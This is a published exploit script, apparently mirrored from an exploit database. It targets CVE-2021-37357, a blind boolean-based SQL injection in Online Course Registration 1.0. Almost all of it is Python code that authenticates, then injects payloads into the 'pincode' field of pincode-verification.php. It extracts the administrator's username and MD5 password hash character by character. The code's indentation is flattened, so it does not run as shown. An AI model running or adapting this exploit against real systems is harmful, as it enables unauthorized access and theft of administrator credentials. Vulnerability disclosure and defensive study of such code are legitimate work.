Exploit for Online Course Registration 1.0 SQL Injection CVE-2021-37357

## https://sploitus.com/exploit?id=PACKETSTORM:164597
# Exploit Title: Online Course Registration 1.0 - Blind Boolean-Based SQL Injection (Authenticated)  
# Exploit Author: Sam Ferguson (@AffineSecurity) and Drew Jones (@qhum7sec)  
# Date: 2021-10-21  
# Vendor Homepage: https://www.sourcecodester.com/php/14251/online-course-registration.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-course-registration.zip  
# Version: 1.0  
# Tested On: Windows 10 + XAMPP + Python 3  
  
# Vulnerability: An attacker can perform a blind boolean-based SQL injection attack, which can provide attackers  
# with access to the username and md5 hash of any administrators.  
# Vulnerable file: /online-course-registration/Online/pincode-verification.php  
# Proof of Concept:  
  
#!/usr/bin/python3  
  
import requests  
import sys  
import string  
  
def exploit(hostname, username, password):  
  
# Building bruteforce list  
pass_list = list(string.ascii_lowercase)  
pass_list += list(range(0,10))  
pass_list = map(str, pass_list)  
pass_list = list(pass_list)  
  
user_list = pass_list  
user_list += list(string.ascii_uppercase)  
user_list = map(str, user_list)  
user_list = list(user_list)  
  
session = requests.Session()  
  
# This URL may change based on the implementation - change as needed  
url = f"{hostname}/online-course-registration/Online/index.php"  
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/online-course-registration/Online/index.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}  
data = {"regno": f"{username}", "password": f"{password}", "submit": ''}  
r = session.post(url, headers=headers, data=data)  
  
  
print("Admin username:")  
# This range number is pretty arbitrary, so change it to whatever you feel like  
for i in range(1,33):  
counter = 0  
find = False  
for j in user_list:  
# This URL may change based on the implementation - change as needed  
url = f"{hostname}/online-course-registration/Online/pincode-verification.php"  
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/online-course-registration/Online/pincode-verification.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}  
data = {"pincode": f"' or (select(select (substring(username,{i},1)) from admin) = \"{j}\") -- - #", "submit": ''}  
a = session.post(url, headers=headers, data=data)  
counter += 1  
if 'Course Enroll' in a.text:  
sys.stdout.write(j)  
sys.stdout.flush()  
break  
elif counter == len(user_list):   
find = True  
break  
if find:  
break  
  
print("\n")  
print("Admin password hash:")  
# This range is not arbitrary and will cover md5 hashing - if the hashing implementation is different, change as needed  
for i in range(1,33):  
counter = 0  
find = False  
for j in pass_list:  
url = f"{hostname}/online-course-registration/Online/pincode-verification.php"  
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/online-course-registration/Online/pincode-verification.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}  
data = {"pincode": f"' or (select(select (substring(password,{i},1)) from admin) = \"{j}\") -- - #", "submit": ''}  
a = session.post(url, headers=headers, data=data)  
counter += 1  
if 'Course Enroll' in a.text:  
sys.stdout.write(j)  
sys.stdout.flush()  
break  
elif counter == len(pass_list):   
find = True  
break  
if find:  
break  
  
print("\n\nSuccessfully pwnd :)")  
  
def logo():  
art = R'''  
__/\\\\\\\\\\\\\____/\\\\\\\\\\\__/\\\\\_____/\\\__/\\\\_________/\\\__   
_\/\\\/////////\\\_\/////\\\///__\/\\\\\\___\/\\\_\///\\________\/\\\__   
_\/\\\_______\/\\\_____\/\\\_____\/\\\/\\\__\/\\\__/\\/_________\/\\\__   
_\/\\\\\\\\\\\\\/______\/\\\_____\/\\\//\\\_\/\\\_\//___________\/\\\__   
_\/\\\/////////________\/\\\_____\/\\\\//\\\\/\\\__________/\\\\\\\\\__   
_\/\\\_________________\/\\\_____\/\\\_\//\\\/\\\_________/\\\////\\\__   
_\/\\\_________________\/\\\_____\/\\\__\//\\\\\\________\/\\\__\/\\\__   
_\/\\\______________/\\\\\\\\\\\_\/\\\___\//\\\\\________\//\\\\\\\/\\_   
_\///______________\///////////__\///_____\/////__________\///////\//__  
'''  
info = 'CVE-2021-37357 PoC'.center(76)  
credits = 'Created by @AffineSecurity and @qhum7sec'.center(76)  
print(f"{art}\n{info}\n{credits}")  
  
def main():  
logo()  
hostname = sys.argv[1]  
username = sys.argv[2]  
password = sys.argv[3]  
  
if len(sys.argv) != 4:  
print("Usage: python3 exploit.py http://127.0.0.1:80 username password")  
  
exploit(hostname, username, password)  
  
if __name__ == '__main__':  
main()